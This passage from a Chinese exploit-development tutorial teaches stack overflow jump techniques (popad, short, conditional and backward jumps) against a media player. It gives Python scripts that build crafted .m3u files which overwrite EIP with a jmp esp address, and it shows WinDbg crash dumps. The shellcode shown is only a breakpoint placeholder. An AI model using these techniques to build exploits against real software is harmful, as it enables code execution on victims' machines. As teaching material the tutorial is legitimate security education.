eip=000ffdb4 esp=000ffda4 ebp=00104678 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
<Unloaded_POOL.DRV>+0xffdb3:
000ffdb4 cc              int     3
0:000> d esp
000ffda4  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffdb4  cc 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  .AAAAAAAAAAAAAAA
000ffdc4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffdd4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffde4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffdf4  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffe04  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
000ffe14  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

shellcode 替换成之前用到的 Payload,生成文件并用软件打开:

请添加图片描述

PWNED!

0x07 POPAD

popad (pop all double) 指令也可以跳转到 shellcode。 popad 指令会通过一次操作将双字从栈中弹出到通用寄存器中,并按以下顺序加载:EDI、ESI、EBP、ESP、EBX、EDX、ECX、EAX。因此,一个 popad 将从栈顶获取 32 个字节,ESP 寄存器会增加32。假如要在栈中跳过 40 个字节,并且操作空间有限,就可以使用 2 个 popad 将 ESP 指向以 NOP 开头的 shellcode 。

修改脚本构建一个假想缓冲区,该缓冲区将在ESP上放置13个 x,后面接上一些垃圾数据,最后放置 shellcode。

filename = 'popad.m3u'
buffersize = 26079

junk = b"a" * 50
nop = b'\x90' * 50
shellcode = b'\xcc'
padding = b"s" * (buffersize - 50 - 50 - len(shellcode))

eip = b"bbbb"
preshellcode = b"x" * (13+4)    # 假设这是唯一可用的空间
garbage = b"d" * 50             # 假设这是要跳过的空间

file = open(filename, "wb")
file.write(junk + nop + shellcode + padding + eip + preshellcode + garbage)
file.close()

生成文件后打开,崩溃后的栈空间如下:

eax=00000001 ebx=00104a58 ecx=7c93003d edx=00000010 esi=77c2fce0 edi=00006626
eip=62626262 esp=000ffd38 ebp=00104678 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
62626262 ??              ???
0:000> d esp
000ffd38  78 78 78 78 78 78 78 78-78 78 78 78 78 64 64 64  xxxxxxxxxxxxxddd | => 13字节
000ffd48  64 64 64 64 64 64 64 64-64 64 64 64 64 64 64 64  dddddddddddddddd | => garbage
000ffd58  64 64 64 64 64 64 64 64-64 64 64 64 64 64 64 64  dddddddddddddddd | => garbage
000ffd68  64 64 64 64 64 64 64 64-64 64 64 64 64 64 64 00  ddddddddddddddd. | => garbage
000ffd78  61 61 61 61 61 61 61 61-61 61 90 90 90 90 90 90  aaaaaaaaaa...... | => garbage
000ffd88  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................ | => NOPs
000ffd98  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................ | => NOPs
000ffda8  90 90 90 90 90 90 90 90-90 90 90 90 cc 73 73 73  .............sss | => Shellcode

现在要使用 ESP 指向的13个字节来跳过:13字节本身、50字节的 d 和10字节的 a(总共74字节),目的是从 NOP 开始执行 shellcode,在 cc 处中断。

popad = 32 字节 ,所以 74 字节 = 3 * popad - 22

首先使用 jmp esp 覆盖 EIP,然后把 x 的区域替代为三个 popad 的 Opcode,后面接上 jmp esp 的 Opcode,最后补上 NOP 指令。

import pwn

filename = 'popad.m3u'
buffersize = 26079

junk = b"a" * 50
nop = b'\x90' * 50
shellcode = b'\xcc'
padding = b"s" * (buffersize - 50 - 50 - len(shellcode))

eip = pwn.p32(0x01b7f23a)
preshellcode = b"x" * 4
preshellcode += b'\x61' * 3     # 三个 popad
preshellcode += b"\xff\xe4"     # jmp esp
preshellcode += b'\x90' * 9     # 补充滑板指令
garbage = b"d" * 50             # 假设这是要跳过的空间

file = open(filename, "wb")
file.write(junk + nop + shellcode + padding + eip + preshellcode + garbage)
file.close()

打开文件后,崩溃现场和预期一致。

eax=90909090 ebx=90909090 ecx=90909090 edx=90909090 esi=61616161 edi=61616100
eip=000ffdb4 esp=000ffd98 ebp=90906161 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
<Unloaded_POOL.DRV>+0xffdb3:
000ffdb4 cc              int     3
0:000> d esp
000ffd98  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
000ffda8  90 90 90 90 90 90 90 90-90 90 90 90 cc 73 73 73  .............sss
000ffdb8  73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73  ssssssssssssssss
000ffdc8  73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73  ssssssssssssssss
000ffdd8  73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73  ssssssssssssssss
000ffde8  73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73  ssssssssssssssss
000ffdf8  73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73  ssssssssssssssss
000ffe08  73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73  ssssssssssssssss
0:000> d eip
000ffdb4  cc 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73  .sssssssssssssss
000ffdc4  73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73  ssssssssssssssss
000ffdd4  73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73  ssssssssssssssss
000ffde4  73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73  ssssssssssssssss
000ffdf4  73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73  ssssssssssssssss
000ffe04  73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73  ssssssssssssssss
000ffe14  73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73  ssssssssssssssss
000ffe24  73 73 73 73 73 73 73 73-73 73 73 73 73 73 73 73  ssssssssssssssss

Shellcode 替换为之前用到的 Payload,生成文件后用软件打开:

请添加图片描述

PWNED!

0x08 短跳转和条件跳转

如果只需要跳过几个字节,则可以使用以下几种 短跳转 技术来完成此操作:

  • 短跳转:Opcode 是 eb,如果要跳转30个字节,则 Opcode 为 eb 1e

  • 条件跳转:如果满足条件,则跳转。此技术基于 EFLAGS 寄存器(CF、OF、PF、SF 和 ZF)中一个或多个状态标志位。 如果标志位处于指定的状态,则可以跳转到目标操作数指定的目标指令。

了解更多 Opcode 为两字节的跳转指令,点击这里

0x09 后向跳转

如果需要执行后向跳转(偏移量为负):将负数转换为双字十六进制,并将其用作跳转的参数(ebe9)。

反向跳转 7 字节: -7 = FFFFFFF9,因此 jmp -7eb f9 ff ff ff

反向跳转 400 字节: -400 = FFFFFE70,所以 jmp -400e9 70 fe ff ff

此操作码的长度为 5 字节。 如果要保持在 4 字节内,则需要执行多个短跳转才能到达想要的位置。

  • 4
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值